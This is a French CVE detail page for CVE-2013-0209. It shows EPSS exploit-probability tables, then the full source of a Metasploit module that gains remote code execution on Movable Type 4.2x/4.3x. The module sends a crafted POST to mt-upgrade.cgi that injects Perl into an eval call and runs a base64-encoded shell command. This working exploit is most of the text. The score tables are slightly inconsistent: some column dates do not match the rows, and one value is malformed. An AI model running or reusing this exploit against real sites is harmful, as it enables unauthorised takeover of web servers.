CVE-2013-0209 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.52%	–	–
2022-02-13	–	–	6.52%	–	–
2022-04-03	–	–	6.52%	–	–
2023-03-12	–	–	–	90.2%	–
2023-04-30	–	–	–	88.2%	–
2023-08-13	–	–	–	82.42%	–
2024-02-11	–	–	–	6.27%	–
2024-03-03	–	–	–	6.23%	–
2024-03-17	–	–	–	6.14%	–
2024-06-02	–	–	–	11.6%	–
2024-06-02	–	–	–	11.6%	–
2024-09-22	–	–	–	82.42%	–
2024-10-27	–	–	–	78.4%	–
2024-12-22	–	–	–	41.23%	–
2025-01-19	–	–	–	41.23%	–
2025-03-18	–	–	–	–	80.63%
2025-03-18	–	–	–	–	80.63,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	78%
2022-02-13	79%
2022-04-03	91%
2023-03-12	98%
2023-04-30	98%
2023-08-13	98%
2024-02-11	93%
2024-03-03	93%
2024-03-17	93%
2024-06-02	95%
2024-06-02	95%
2024-09-22	98%
2024-10-27	98%
2024-12-22	97%
2025-01-19	97%
2025-03-18	99%
2025-03-18	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution', 'Description' => %q{ This module can be used to execute a payload on MoveableType (MT) that exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi), that is used during installation and updating of the platform. The vulnerability arises due to the following properties: 1. This script may be invoked remotely without requiring authentication to any MT instance. 2. Through a crafted POST request, it is possible to invoke particular database migration functions (i.e functions that bring the existing database up-to-date with an updated codebase) by name and with particular parameters. 3. A particular migration function, core_drop_meta_for_table, allows a class parameter to be set which is used directly in a perl eval statement, allowing perl code injection. }, 'Author' => [ 'Kacper Nowak', 'Nick Blundell', 'Gary O\'Leary-Steele' ], 'References' => [ ['CVE', '2012-6315'], # superseded by CVE-2013-0209 (duplicate) ['CVE', '2013-0209'], ['URL', 'http://www.sec-1.com/blog/?p=402'], ['URL', 'http://www.movabletype.org/2013/01/movable_type_438_patch.html'] ], 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => [ 'win', 'unix' ], 'Targets' => [ ['Movable Type 4.2x, 4.3x', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jan 07 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Movable Type installation', '/mt']) ], self.class) end def check @peer = "#{rhost}:#{rport}" fingerprint = rand_text_alpha(5) print_status("#{@peer} - Sending check...") begin res = http_send_raw(fingerprint) rescue Rex::ConnectionError return Exploit::CheckCode::Unknown end if (res) if (res.code == 200 and res.body =~ /Can't locate object method \\"dbi_driver\\" via package \\"#{fingerprint}\\" at/) return Exploit::CheckCode::Vulnerable elsif (res.code != 200) return Exploit::CheckCode::Unknown else return Exploit::CheckCode::Safe end else return Exploit::CheckCode::Unknown end end def exploit @peer = "#{rhost}:#{rport}" print_status("#{@peer} - Sending payload...") http_send_cmd(payload.encoded) end def http_send_raw(cmd) path = normalize_uri(target_uri.path) + '/mt-upgrade.cgi' pay = cmd.gsub('\\', '\\\\').gsub('"', '\"') send_request_cgi( { 'uri' => path, 'method' => 'POST', 'vars_post' => { '__mode' => 'run_actions', 'installing' => '1', 'steps' => %{[["core_drop_meta_for_table","class","#{pay}"]]} } }) end def http_send_cmd(cmd) pay = 'v0;use MIME::Base64;system(decode_base64(q(' pay << Rex::Text.encode_base64(cmd) pay << ')));return 0' http_send_raw(pay) end end